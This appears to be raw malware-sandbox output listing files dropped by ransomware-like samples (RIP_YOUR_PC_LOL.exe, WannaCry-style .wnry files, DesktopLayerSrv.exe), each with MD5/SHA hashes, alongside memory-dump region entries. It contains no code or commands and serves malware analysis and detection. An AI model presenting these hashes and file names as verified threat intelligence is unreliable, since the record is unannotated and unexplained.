SHA256 1681ac567e14534f634688d2e0f2728e30857e191041c779f63fe4c9b8b1b343
SHA512 91ec8c71fd265fc8d66e4a5ab0effe35338dfb590d23fa21555907b0dd071e4c3a7bc4cbfe044385c45444339da0ca3c05f02d681692f85d2c3dc3b5ddde69ab

C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected]

MD5 7f5b08fbccabc940321f3d899c42cfca
SHA1 f9660e8d5ef78a1fd4da54604aa2a5589fbb896e
SHA256 b908ea771605a6211ee390b5d512d2c66fa74a6e31699388705338a0ee2de462
SHA512 b3b3ee89c3189090bf091384fbcf53703d8e45dc1edb6b77584fa2f82b4e53cd3c71dda993b96818bf3765d5a54348a7e7dbca9e5336228d47345f47af4f1795

C:\Users\Admin\AppData\Local\Temp\RarSFX0\RIP_YOUR_PC_LOL.exe

MD5 f768fb8517da40fad7cdc69a71a6dcb7
SHA1 fb83387eea6d2c450b13780125f176c27ccca0e7
SHA256 82523bde21ab6ed9147468c24ace3e473c737e616f061984841da2525288822b
SHA512 8b342849cad5abf99fce9e2619ac113b9586db3da05a13228546560236e0cb68e0c944fbf8f1e43441257165637c0be6bbdfed6053a6939edeb275333cc0537c

\Users\Admin\AppData\Local\Temp\RarSFX0\RIP_YOUR_PC_LOL.exe

MD5 61d81176652c0308d0f62d02b31e3bfe
SHA1 a3e629cd1b7a29951cdb000addac940fcff5eddf
SHA256 74c910bd828ef2ada2f270a8f2ebbffbe17de7863ae94ab88c1a63a03e734a94
SHA512 e42aec9978c297d5544e4d67cd11d12fa48862df17441135a8ad7a2b31cd2b31c4e9cc48f6beb2a7b707cff689ae010194b346de0bc2c5492788c78b1969a8a2

\Users\Admin\Desktop\1.exe

MD5 69a5fc20b7864e6cf84d0383779877a5
SHA1 6c31649e2dc18a9432b19e52ce7bf2014959be88
SHA256 4fe08cc381f8f4ea6e3d8e34fddf094193ccbbcc1cae7217f0233893b9c566a2
SHA512 f19f3221a26bdab7ddcf18196ef6e6012968c675065c4e56f54faaace18321c07771fdbdacabd365159ccc5bf01e40693146709217e13dcd282609242e61a4bc

C:\Users\Admin\AppData\Local\Temp\RarSFX0\x2s443bc.cs1.exe

MD5 8a65634abf776a0abdc72e2d51d7dd0b
SHA1 58b35ad48ccd9f42ecd100a6e196e186be861798
SHA256 aa71abcf2207e8e0621a7c5d8892bdd5aebaa2583b0a8b71f95bf45fe6013955
SHA512 f8023d34be8eb8c31b09e3bcdfbce71f225d21d9bab1d61c9b97bd90025eabf3ff61bd2223763dc437dd44d8de0af0acf2d6f1282a9c7dfd91af97dc694484bd

C:\Users\Admin\AppData\Local\Temp\RarSFX0\x2s443bc.cs1.exe

MD5 a80ebf44f4af67620ea773bf079c7ec2
SHA1 a5fe57860940580c5fb35e2d535e6d84b04e734b
SHA256 d0afc2fe7eebcf3b7a847949aac7c4e6bd8c4913fa7e7fde8b7cac434012365e
SHA512 82e900a7687688f6f7fe7bbb225f9a2d0c4af31323005a9b45e83401f84eef36232568b4a29243aa175d3f3f1f6994b3fc53f2c8bdd74d5e1558aa029cc3feeb

memory/2612-118-0x0000000000400000-0x00000000004CC000-memory.dmp

memory/2976-117-0x0000000000400000-0x00000000004D8000-memory.dmp

memory/2872-129-0x0000000000400000-0x0000000000433000-memory.dmp

memory/2560-131-0x0000000000400000-0x00000000005DE000-memory.dmp

memory/2432-140-0x0000000010000000-0x0000000010010000-memory.dmp

memory/2560-142-0x0000000000400000-0x00000000005DE000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\is-Q9R29.tmp\ska2pwej.aeh.tmp

MD5 5bd5c5efa8002c8b7f199872ef3d0307
SHA1 28f91832c80c593bc5f154f9e573d148d0964aae
SHA256 56feb6817965e3d360037271ec388d6d52134c88d4264584f5b286b40eebc6b5
SHA512 cfd1916e900e585cc6b4986a9d716df7588a4fae882560be4ed5052da16bbff2f8f2279166b607814359f984981e6f7a17e9a090453f144fb4360d48d24fee52

\Users\Admin\AppData\Local\Temp\is-Q9R29.tmp\ska2pwej.aeh.tmp

MD5 edef3122f611339e0d616de3bbc797fa
SHA1 9e9754ccc0653e44584eaadcf10db9c29612aafa
SHA256 770758a56c28d8175f788144e65eb0df31c3e516cfba39f90bc17b94ae7e3994
SHA512 39fb677ec6d5dd1f47cef8d0c5d57838e2681c019a80f816630f20f29711b1c8d42fc3d35aec464423b3a8f6cfaa2a58ec6b210290ea83e2f9f65fe180d7d104

\Users\Admin\AppData\Local\Temp\is-FNLFQ.tmp\x2s443bc.cs1.tmp

MD5 c97414889dba6464efab6b941ab3b3b8
SHA1 3eb603b60dc3273a8c7f3ab1df2bd9d030d988ac
SHA256 3c35d38271284ec0195a521c29fd55695f73e6394eafefb6f39ab653bf887a1e
SHA512 0f9dbbd2c53c5fb6cfc17688b587d59849ea694caffd54e15a123b37e8f54fef348cc372851ff5519cce72cc83cb0b150a4c420054d4d626c364579b64958a32

C:\Users\Admin\AppData\Local\Temp\is-FNLFQ.tmp\x2s443bc.cs1.tmp

MD5 83f08b616b3e99250177c87b5c1e43ac
SHA1 7f8b66646675727a7386179bf4c53d6538430b80
SHA256 83b22d92a2ea293568888d395c2e0833da38f91da82f9e82a81d444284ba51c7
SHA512 1fd1f389746aa2a3e5349c6e9444070d54c348fd11c8317cf7b78e53cb522c53050fdb96e6d2a8390f70bb71e79055bfaaf8ed245f6e81914634c332fa1b3bee

memory/2560-137-0x0000000000400000-0x00000000005DE000-memory.dmp

memory/2612-136-0x0000000000400000-0x00000000004CC000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_romanian.wnry

MD5 313e0ececd24f4fa1504118a11bc7986
SHA1 e1b9ae804c7fb1d27f39db18dc0647bb04e75e9d
SHA256 70c0f32ed379ae899e5ac975e20bbbacd295cf7cd50c36174d2602420c770ac1
SHA512 c7500363c61baf8b77fce796d750f8f5e6886ff0a10f81c3240ea3ad4e5f101b597490dea8ab6bd9193457d35d8fd579fce1b88a1c8d85ebe96c66d909630730

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_portuguese.wnry

MD5 fa948f7d8dfb21ceddd6794f2d56b44f
SHA1 ca915fbe020caa88dd776d89632d7866f660fc7a
SHA256 bd9f4b3aedf4f81f37ec0a028aabcb0e9a900e6b4de04e9271c8db81432e2a66
SHA512 0d211bfb0ae953081dca00cd07f8c908c174fd6c47a8001fadc614203f0e55d9fbb7fa9b87c735d57101341ab36af443918ee00737ed4c19ace0a2b85497f41a

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_polish.wnry

MD5 e79d7f2833a9c2e2553c7fe04a1b63f4
SHA1 3d9f56d2381b8fe16042aa7c4feb1b33f2baebff
SHA256 519ad66009a6c127400c6c09e079903223bd82ecc18ad71b8e5cd79f5f9c053e
SHA512 e0159c753491cac7606a7250f332e87bc6b14876bc7a1cf5625fa56ab4f09c485f7b231dd52e4ff0f5f3c29862afb1124c0efd0741613eb97a83cbe2668af5de

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_norwegian.wnry

MD5 ff70cc7c00951084175d12128ce02399
SHA1 75ad3b1ad4fb14813882d88e952208c648f1fd18
SHA256 cb5da96b3dfcf4394713623dbf3831b2a0b8be63987f563e1c32edeb74cb6c3a
SHA512 f01df3256d49325e5ec49fd265aa3f176020c8ffec60eb1d828c75a3fa18ff8634e1de824d77dfdd833768acff1f547303104620c70066a2708654a07ef22e19

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_latvian.wnry

MD5 c33afb4ecc04ee1bcc6975bea49abe40
SHA1 fbea4f170507cde02b839527ef50b7ec74b4821f
SHA256 a0356696877f2d94d645ae2df6ce6b370bd5c0d6db3d36def44e714525de0536
SHA512 0d435f0836f61a5ff55b78c02fa47b191e5807a79d8a6e991f3115743df2141b3db42ba8bdad9ad259e12f5800828e9e72d7c94a6a5259312a447d669b03ec44

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_korean.wnry

MD5 6735cb43fe44832b061eeb3f5956b099
SHA1 d636daf64d524f81367ea92fdafa3726c909bee1
SHA256 552aa0f82f37c9601114974228d4fc54f7434fe3ae7a276ef1ae98a0f608f1d0
SHA512 60272801909dbba21578b22c49f6b0ba8cd0070f116476ff35b3ac8347b987790e4cc0334724244c4b13415a246e77a577230029e4561ae6f04a598c3f536c7e

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_japanese.wnry

MD5 b77e1221f7ecd0b5d696cb66cda1609e
SHA1 51eb7a254a33d05edf188ded653005dc82de8a46
SHA256 7e491e7b48d6e34f916624c1cda9f024e86fcbec56acda35e27fa99d530d017e
SHA512 f435fd67954787e6b87460db026759410fbd25b2f6ea758118749c113a50192446861a114358443a129be817020b50f21d27b1ebd3d22c7be62082e8b45223fc

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_italian.wnry

MD5 30a200f78498990095b36f574b6e8690
SHA1 c4b1b3c087bd12b063e98bca464cd05f3f7b7882
SHA256 49f2c739e7d9745c0834dc817a71bf6676ccc24a4c28dcddf8844093aab3df07
SHA512 c0da2aae82c397f6943a0a7b838f60eeef8f57192c5f498f2ecf05db824cfeb6d6ca830bf3715da7ee400aa8362bd64dc835298f3f0085ae7a744e6e6c690511

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_indonesian.wnry

MD5 3788f91c694dfc48e12417ce93356b0f
SHA1 eb3b87f7f654b604daf3484da9e02ca6c4ea98b7
SHA256 23e5e738aad10fb8ef89aa0285269aff728070080158fd3e7792fe9ed47c51f4
SHA512 b7dd9e6dc7c2d023ff958caf132f0544c76fae3b2d8e49753257676cc541735807b4befdf483bcae94c2dcde3c878c783b4a89dca0fecbc78f5bbf7c356f35cd

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_greek.wnry

MD5 fb4e8718fea95bb7479727fde80cb424
SHA1 1088c7653cba385fe994e9ae34a6595898f20aeb
SHA256 e13cc9b13aa5074dc45d50379eceb17ee39a0c2531ab617d93800fe236758ca9
SHA512 24db377af1569e4e2b2ebccec42564cea95a30f1ff43bcaf25a692f99567e027bcef4aacef008ec5f64ea2eef0c04be88d2b30bcadabb3919b5f45a6633940cb

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_german.wnry

MD5 3d59bbb5553fe03a89f817819540f469
SHA1 26781d4b06ff704800b463d0f1fca3afd923a9fe
SHA256 2adc900fafa9938d85ce53cb793271f37af40cf499bcc454f44975db533f0b61
SHA512 95719ae80589f71209bb3cb953276538040e7111b994d757b0a24283aefe27aadbbe9eef3f1f823ce4cabc1090946d4a2a558607ac6cac6faca5971529b34dac

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_french.wnry

MD5 4e57113a6bf6b88fdd32782a4a381274
SHA1 0fccbc91f0f94453d91670c6794f71348711061d
SHA256 9bd38110e6523547aed50617ddc77d0920d408faeed2b7a21ab163fda22177bc
SHA512 4f1918a12269c654d44e9d394bc209ef0bc32242be8833a2fba437b879125177e149f56f2fb0c302330dec328139b34982c04b3fefb045612b6cc9f83ec85aa9

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_finnish.wnry

MD5 35c2f97eea8819b1caebd23fee732d8f
SHA1 e354d1cc43d6a39d9732adea5d3b0f57284255d2
SHA256 1adfee058b98206cb4fbe1a46d3ed62a11e1dee2c7ff521c1eef7c706e6a700e
SHA512 908149a6f5238fcccd86f7c374986d486590a0991ef5243f0cd9e63cc8e208158a9a812665233b09c3a478233d30f21e3d355b94f36b83644795556f147345bf

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_filipino.wnry

MD5 08b9e69b57e4c9b966664f8e1c27ab09
SHA1 2da1025bbbfb3cd308070765fc0893a48e5a85fa
SHA256 d8489f8c16318e524b45de8b35d7e2c3cd8ed4821c136f12f5ef3c9fc3321324
SHA512 966b5ed68be6b5ccd46e0de1fa868cfe5432d9bf82e1e2f6eb99b2aef3c92f88d96f4f4eec5e16381b9c6db80a68071e7124ca1474d664bdd77e1817ec600cb4

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_english.wnry

MD5 fe68c2dc0d2419b38f44d83f2fcf232e
SHA1 6c6e49949957215aa2f3dfb72207d249adf36283
SHA256 26fd072fda6e12f8c2d3292086ef0390785efa2c556e2a88bd4673102af703e5
SHA512 941fa0a1f6a5756ed54260994db6158a7ebeb9e18b5c8ca2f6530c579bc4455918df0b38c609f501ca466b3cc067b40e4b861ad6513373b483b36338ae20a810

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_dutch.wnry

MD5 7a8d499407c6a647c03c4471a67eaad7
SHA1 d573b6ac8e7e04a05cbbd6b7f6a9842f371d343b
SHA256 2c95bef914da6c50d7bdedec601e589fbb4fda24c4863a7260f4f72bd025799c
SHA512 608ef3ff0a517fe1e70ff41aeb277821565c5a9bee5103aa5e45c68d4763fce507c2a34d810f4cd242d163181f8341d9a69e93fe32aded6fbc7f544c55743f12

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_danish.wnry

MD5 2c5a3b81d5c4715b7bea01033367fcb5
SHA1 b548b45da8463e17199daafd34c23591f94e82cd
SHA256 a75bb44284b9db8d702692f84909a7e23f21141866adf3db888042e9109a1cb6
SHA512 490c5a892fac801b853c348477b1140755d4c53ca05726ac19d3649af4285c93523393a3667e209c71c80ac06ffd809f62dd69ae65012dcb00445d032f1277b3

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_czech.wnry

MD5 537efeecdfa94cc421e58fd82a58ba9e
SHA1 3609456e16bc16ba447979f3aa69221290ec17d0
SHA256 5afa4753afa048c6d6c39327ce674f27f5f6e5d3f2a060b7a8aed61725481150
SHA512 e007786ffa09ccd5a24e5c6504c8de444929a2faaafad3712367c05615b7e1b0fbf7fbfff7028ed3f832ce226957390d8bf54308870e9ed597948a838da1137b

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_croatian.wnry

MD5 17194003fa70ce477326ce2f6deeb270
SHA1 e325988f68d327743926ea317abb9882f347fa73
SHA256 3f33734b2d34cce83936ce99c3494cd845f1d2c02d7f6da31d42dfc1ca15a171
SHA512 dcf4ccf0b352a8b271827b3b8e181f7d6502ca0f8c9dda3dc6e53441bb4ae6e77b49c9c947cc3ede0bf323f09140a0c068a907f3c23ea2a8495d1ad96820051c

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_chinese (traditional).wnry

MD5 2efc3690d67cd073a9406a25005f7cea
SHA1 52c07f98870eabace6ec370b7eb562751e8067e9
SHA256 5c7f6ad1ec4bc2c8e2c9c126633215daba7de731ac8b12be10ca157417c97f3a
SHA512 0766c58e64d9cda5328e00b86f8482316e944aa2c26523a3c37289e22c34be4b70937033bebdb217f675e40db9fecdce0a0d516f9065a170e28286c2d218487c

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_chinese (simplified).wnry

MD5 0252d45ca21c8e43c9742285c48e91ad
SHA1 5c14551d2736eef3a1c1970cc492206e531703c1
SHA256 845d0e178aeebd6c7e2a2e9697b2bf6cf02028c50c288b3ba88fe2918ea2834a
SHA512 1bfcf6c0e7c977d777f12bd20ac347630999c4d99bd706b40de7ff8f2f52e02560d68093142cc93722095657807a1480ce3fb6a2e000c488550548c497998755

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_bulgarian.wnry

MD5 95673b0f968c0f55b32204361940d184
SHA1 81e427d15a1a826b93e91c3d2fa65221c8ca9cff
SHA256 40b37e7b80cf678d7dd302aaf41b88135ade6ddf44d89bdba19cf171564444bd
SHA512 7601f1883edbb4150a9dc17084012323b3bfa66f6d19d3d0355cf82b6a1c9dce475d758da18b6d17a8b321bf6fca20915224dbaedcb3f4d16abfaf7a5fc21b92

C:\Users\Admin\AppData\Local\Temp\RarSFX0\c.wnry

MD5 93f33b83f1f263e2419006d6026e7bc1
SHA1 1a4b36c56430a56af2e0ecabd754bf00067ce488
SHA256 ef0ed0b717d1b956eb6c42ba1f4fd2283cf7c8416bed0afd1e8805ee0502f2b4
SHA512 45bdd1a9a3118ee4d3469ee65a7a8fdb0f9315ca417821db058028ffb0ed145209f975232a9e64aba1c02b9664c854232221eb041d09231c330ae510f638afac

C:\Users\Admin\AppData\Local\Temp\RarSFX0\b.wnry

MD5 f18eae3b736718976b602c4ebb322b06
SHA1 3cd27ea7a0a7ead3605e8f101bc52df5059ab752
SHA256 8a3d6fcf1c51b60be3d5c665038bc658e3774e3b2e3df25d0f5d178cb92f7c5f
SHA512 9f308826519b032728d9d80e9f4b6bf60d58d670a0c7e7f2b05c963281996fc7dac738902556c81c7879126b1c9e34df40e4a0df42cd08dc308251b659f298e7

memory/2808-198-0x0000000073590000-0x0000000073B3B000-memory.dmp

memory/2560-199-0x0000000000230000-0x00000000002FE000-memory.dmp

memory/2808-200-0x0000000000300000-0x0000000000340000-memory.dmp

memory/2560-203-0x0000000000400000-0x00000000005DE000-memory.dmp

memory/3016-204-0x0000000000240000-0x0000000000241000-memory.dmp

memory/2652-208-0x0000000004760000-0x00000000047A0000-memory.dmp

memory/2872-207-0x00000000001C0000-0x00000000001F1000-memory.dmp

memory/536-206-0x0000000000240000-0x0000000000241000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\RarSFX0\37031704847035.bat

MD5 56bda98548d75c62da1cff4b1671655b
SHA1 90a0c4123b86ac28da829e645cb171db00cf65dc
SHA256 35e5885504a1745554c26f49a0adab2d26a532838f8e495f211572d42ea19ead
SHA512 eefeab1311ded740628cf3fed32e750266dd2daa833ab8212f8ffe548967f0bd94e48cf11c75345150885268404c0275aab56b4210fb4f21883046611a567a72

memory/2808-202-0x0000000073590000-0x0000000073B3B000-memory.dmp

memory/2652-133-0x0000000000E10000-0x0000000000E18000-memory.dmp

memory/2976-130-0x0000000000400000-0x00000000004D8000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\RarSFX0\@[email protected]

MD5 d42433eeed9e239027a3318a36b86a3a
SHA1 c1178ba51f6d21953551b9a075032da14d0bea1b
SHA256 6bdd1481ea1e4f6d5f81e9395bb761aaca4bac99afd0a0dabc84e10603f57a1f
SHA512 851b2ba2499aba7f860fa2a8c047cb777f4886b2c33f277aa3344cfa2f465ce2d13ea218f8610aa1e5efc3516f5e0b2ef2af5efa89035fdc74aa76b03e15fb3e

C:\Users\Admin\Documents\@[email protected]

MD5 7e6b6da7c61fcb66f3f30166871def5b
SHA1 00f699cf9bbc0308f6e101283eca15a7c566d4f9
SHA256 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e
SHA512 e5a56137f325904e0c7de1d0df38745f733652214f0cdb6ef173fa0743a334f95bed274df79469e270c9208e6bdc2e6251ef0cdd81af20fa1897929663e2c7d3

memory/2560-128-0x0000000000400000-0x00000000005DE000-memory.dmp

memory/2652-127-0x0000000073E10000-0x00000000744FE000-memory.dmp

C:\Users\Admin\Desktop\10.exe

MD5 ed392aa611dfc915050ee23c7097cee5
SHA1 58fa510f2c64dc26725b00577183ab5c90fc7046
SHA256 be48d34046c3eefed52e3e0c13ceb529882c658be36c438f1b70bb062b07a9ea
SHA512 5296320354fa5e7bf3e1a5208f97cc6c73c79643f4fb7bc51255b92fc2da170cb97dd9bc7729228c7645229ca7e2f432eadfb16a77f358afa7bd39892cb9d933

C:\Users\Admin\Desktop\msg\m_filipino.wnry

MD5 dfaf4eb42653fffe6e91de6efca9cda4
SHA1 65d2894dd59b428b64068154d97366333adb162e
SHA256 be88c392846ad115fba41fbcff11315d012e47d173a898d93cd9716c066c700c
SHA512 86bb29a766cab162c4f319b910c2f23e915d5949e7dd9f6daaa1a937e7495cde31942fa1b601cc73998744207427773976157ee9793c3887431549914b52039f

memory/2808-486-0x0000000000300000-0x0000000000340000-memory.dmp

\Users\Admin\AppData\Local\Temp\RarSFX0\x2s443bc.cs1.exe

MD5 2e6eaabfd44e39a564d5f96d71fef445
SHA1 46c656f4ec837a57ac1b406fa6ba95340444e4d1
SHA256 33c2d7d4d04665ac0045f915d8497eb05fcbbd74eae45bc9767d3bf00f29654e
SHA512 633c9dc6493b6d5a13b9d58782b0098bb4e192afedd5539cf59b696614d057a8486735cc666a6a4e1a874d19b41337d8e3dc6ebab882bf525d731ee7eeae76ea

memory/2796-548-0x000000002FAC1000-0x000000002FAC2000-memory.dmp

C:\ProgramData\Microsoft\User Account Pictures\Default Pictures\@[email protected]

MD5 48cc2743c86bd73d2519893096d9069d
SHA1 fec8c78e3429606b1922075295566ecb13664bf7
SHA256 1703515246084584494f68fe743fdc13aeab384ace7ac8b94af87aa2b6f0a293
SHA512 270ba972cf8592dc27a14ffae9f8565703d0c542e23f0d7c09baeb61fe6933244a7798e14c8554bd616672dbacbdbd62c3942d8793a6e97fac6e2b1002718b19

C:\Users\Admin\AppData\Local\Temp\11FB.tmp\120B.tmp\120C.bat

MD5 76688da2afa9352238f6016e6be4cb97
SHA1 36fd1260f078209c83e49e7daaee3a635167a60f
SHA256 e365685ea938b12790a195383434d825f46c41c80469ce11b9765305780bff7a
SHA512 34659bf4de5c2cbd7cdc7309a48880ac2e1f19e0a4da0c1d4cc45658a81f9f4e7a9293be48e853de812a6b94e1caa3356a715a1a0c14d37b7ae99ba5888bd1df

C:\Users\Admin\AppData\Local\Temp\RarSFX0\ska2pwej.aeh.exe

MD5 d80ef4b33dfbf4a9872b44d992b7cf79
SHA1 73a9d9e9f98713e5063a09439e60d149117895cb
SHA256 bc37681c4104cf8be1c9ea543fbe8a45e0b78cd7bfe42cb3dd6faac19d78a8b0
SHA512 93eec2c78235de532d141dd72e156257c7086f2a2c3e478c551c8460260b085c576dd91f57bf6d996b04d3ad880cf396bb520370e0235e14948b32644683f03a

memory/2796-771-0x000000005FFF0000-0x0000000060000000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\RarSFX0\ska2pwej.aeh.exe

MD5 0d0333d596f34127997953a5a7e341fe
SHA1 f62e22cd0f0854776fae9a6bd00e916faa768977
SHA256 d5369ba8ff9689a9b736bb00f85b1a09fa541ec7d6fb4890edc659980082f265
SHA512 ab6ed57f62072af3ce834b19163c27f8efc1fc4508134443aa42476ac8fe458322c70f85abb926462996035e53d2c97624e1644e85301c030742b4fd63b4daae

memory/2796-812-0x0000000068A7D000-0x0000000068A88000-memory.dmp

\Users\Admin\AppData\Local\Temp\RarSFX0\ska2pwej.aeh.exe

MD5 93804fb62a46882e1dc84dea3812c522
SHA1 2d01a6f0b2ba0fee03832561897524cb90053a70
SHA256 2743690175675358fe4c5b91d8f01782ec5106ba67c474442904c1ef78c9d666
SHA512 149e869a408b8200274925684ed4c8997563d8cd8c4d1f2433277bd47cf4412a14d02d46fa785b30f73f9f4e71fc87833e602dbfdd8c4bd55bd312cdd960a87b

C:\Users\Admin\AppData\Local\Temp\RarSFX0\RIP_YOUR_PC_LOL.exe

MD5 74023899f2e5e6a7e215cb9deba3a933
SHA1 bad589f979a84e8db9eeebe39a9675812e16107e
SHA256 c06dce806e9404e2054102272fb1eb414237dc17335f459da163ca61783f258b
SHA512 f6705c58e03355fcc1a0daa5cc1f1305c13fab88a2c0718888ef25e1c111d8c6a2d83bd458b8b6618088c6cae957e9189290a8972910a82f45c28ca888880608

\Users\Admin\AppData\Local\Temp\RarSFX0\RIP_YOUR_PC_LOL.exe

MD5 e36566105db205579f6d207e2055e48f
SHA1 c11bad0feb1cc53c56dc3213c4d057d929c408fb
SHA256 ed3af50f12a39b531202a0540c6eedba9a030d0682659b84e673375040fb8ea0
SHA512 533533909e7ddd6802be8161b490a3e279de1e13eeafb1a3a7999ae3bd99986ccc4568e1fb20ca2da92ffce8697954686665b28d5967f215a150017693ed3195

\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected]

MD5 9e5be3f9dc91314d67a540e81132e337
SHA1 ff3efaa01f336ea797b742a1b2363db1a363a189
SHA256 526e0c4688c1132c8397c6bb3f963e80aaac8a11b141dfc9ead24cf55bf69527
SHA512 15e02526978e389cf7946e6c83dbcb0a19654591d24fb1ecbe4b63eaea5a04db2556ef4cda0e1691c4de3553bd3e7bf1f36ef42ac2a6f5a6c9da94b3279cc6bf

memory/2872-904-0x0000000000400000-0x0000000000433000-memory.dmp

memory/2808-903-0x0000000000300000-0x0000000000340000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Cab2A4B.tmp

MD5 ac05d27423a85adc1622c714f2cb6184
SHA1 b0fe2b1abddb97837ea0195be70ab2ff14d43198
SHA256 c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d
SHA512 6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

C:\SpLiTTer.Exe

MD5 6dec77c862c3ced51582d3a4b56baecf
SHA1 7d35b7e6e1c73df4bbf98e8f1d1e7634a69615d6
SHA256 d53bd91885b7de61be14611ecdfb31887456cfd2f20547ea790af6fb8c388b0e
SHA512 f8c59da20c5acdafa11d4fe500d512498fab958748d3997d3aaae60ea2bc6a5824aab4c795c9a5084520a7e59048dcafb1ab05443e6393c7b07615df7b914de8

memory/1408-1214-0x0000000000400000-0x000000000042F000-memory.dmp

memory/2808-1238-0x0000000073590000-0x0000000073B3B000-memory.dmp

C:\Windows\directx.sys

MD5 033a21d049cf5546fe0537f15435c440
SHA1 2da12b487030fb6300e992b474860444229dfad6
SHA256 bdb8157f9c7d593b90df878e8010f87c3d3f18108e43d2e50415b36c5536f3d1
SHA512 0a60df9963d3b5adb25347d1270163d7257dd0823a4435a7a07a3a0dfdeeef6e9b06d1101f672453b5cdc63bdbc18d4fd43e813fc6220a5c764a276190bcc224

memory/2652-1307-0x0000000073E10000-0x00000000744FE000-memory.dmp

memory/2796-1320-0x00000000062D0000-0x00000000063D0000-memory.dmp

memory/932-1325-0x00000000003C0000-0x00000000003EF000-memory.dmp

memory/2872-1332-0x0000000000400000-0x0000000000433000-memory.dmp

memory/2976-1334-0x0000000000400000-0x00000000004D8000-memory.dmp

memory/2808-1341-0x0000000000300000-0x0000000000340000-memory.dmp

memory/2560-1344-0x0000000000400000-0x00000000005DE000-memory.dmp

memory/1836-1360-0x0000000000230000-0x000000000023F000-memory.dmp

memory/1836-1361-0x0000000000400000-0x000000000042E000-memory.dmp

memory/1836-1367-0x0000000000240000-0x0000000000241000-memory.dmp

memory/1836-1378-0x0000000000400000-0x000000000042E000-memory.dmp

memory/1832-1397-0x0000000000400000-0x000000000043D000-memory.dmp

memory/1056-1407-0x0000000000400000-0x000000000042E000-memory.dmp

memory/1884-1432-0x00000000001B0000-0x00000000001DF000-memory.dmp

memory/2808-1413-0x0000000000300000-0x0000000000340000-memory.dmp

memory/2856-1410-0x00000000005B0000-0x00000000005DF000-memory.dmp

memory/2856-1409-0x00000000005B0000-0x00000000005DE000-memory.dmp

memory/2856-1408-0x00000000005B0000-0x00000000005ED000-memory.dmp

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E0F5C59F9FA661F6F4C50B87FEF3A15A

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

C:\Users\Admin\Downloads\@[email protected]

MD5 0a4d7c2b1a97982cac25f281e462ce15
SHA1 fb3cde435fb4c148c0cd3d55a84e26a28d8f3d6d
SHA256 4d783a6343debd940fa6b5f4a51cd91415b6beb6221857579e2acef512d9a29f
SHA512 912df852cd9047986c8f5ae1bed392684b2725db027b26ef41628193897c76f665a162a6c0d70a2b52c9d5fb92455246fa8cc39fb991bf507807abeb73681d9a

memory/2324-1398-0x0000000000300000-0x000000000033D000-memory.dmp

memory/2324-1390-0x0000000000230000-0x000000000025E000-memory.dmp

memory/2872-1511-0x0000000000400000-0x0000000000433000-memory.dmp

memory/1832-1389-0x00000000001E0000-0x00000000001E1000-memory.dmp

memory/1884-1526-0x0000000000400000-0x000000000041B000-memory.dmp

C:\Users\Admin\Music\@[email protected]

MD5 8e48e3fee77a110f2e798b46bb7bcb91
SHA1 a07e4e4ba61f3b5d8661ac100458da504a722c21
SHA256 3b11fd60eb9e87acfd51ffc39db94a5b8c7b247bcbfc66e27f90ab9f7be4ddb9
SHA512 47829f583b8ade91d7c332b7dc9d97f41bb718c0458b46065a1f878c26caa0f0289a543800fd36174fa7ab712a81ec0a517e6c6c9b85842f3e6046156e3a0ecb

C:\Program Files (x86)\Microsoft\DesktopLayerSrv.exe

MD5 ff5e1f27193ce51eec318714ef038bef
SHA1 b4fa74a6f4dab3a7ba702b6c8c129f889db32ca6
SHA256 fd6c69c345f1e32924f0a5bb7393e191b393a78d58e2c6413b03ced7482f2320
SHA512 c9d654ead35f40eea484a3dc5b5d0a44294b9e7b41a9bacdafdd463d3de9daa2a43237a5f113f6a9c8ea5e1366823fd3d83da18cd8197aa69a55e9f345512a7a

memory/1408-1535-0x0000000000400000-0x000000000042F000-memory.dmp

memory/2872-1572-0x0000000000400000-0x0000000000433000-memory.dmp

memory/2528-1583-0x0000000000400000-0x000000000041B000-memory.dmp

memory/2872-1597-0x0000000000400000-0x0000000000433000-memory.dmp

memory/2872-1575-0x0000000000400000-0x0000000000433000-memory.dmp

memory/2872-1559-0x0000000000400000-0x0000000000433000-memory.dmp

memory/2872-1554-0x0000000000400000-0x0000000000433000-memory.dmp

memory/3016-1620-0x0000000000400000-0x000000000068E000-memory.dmp

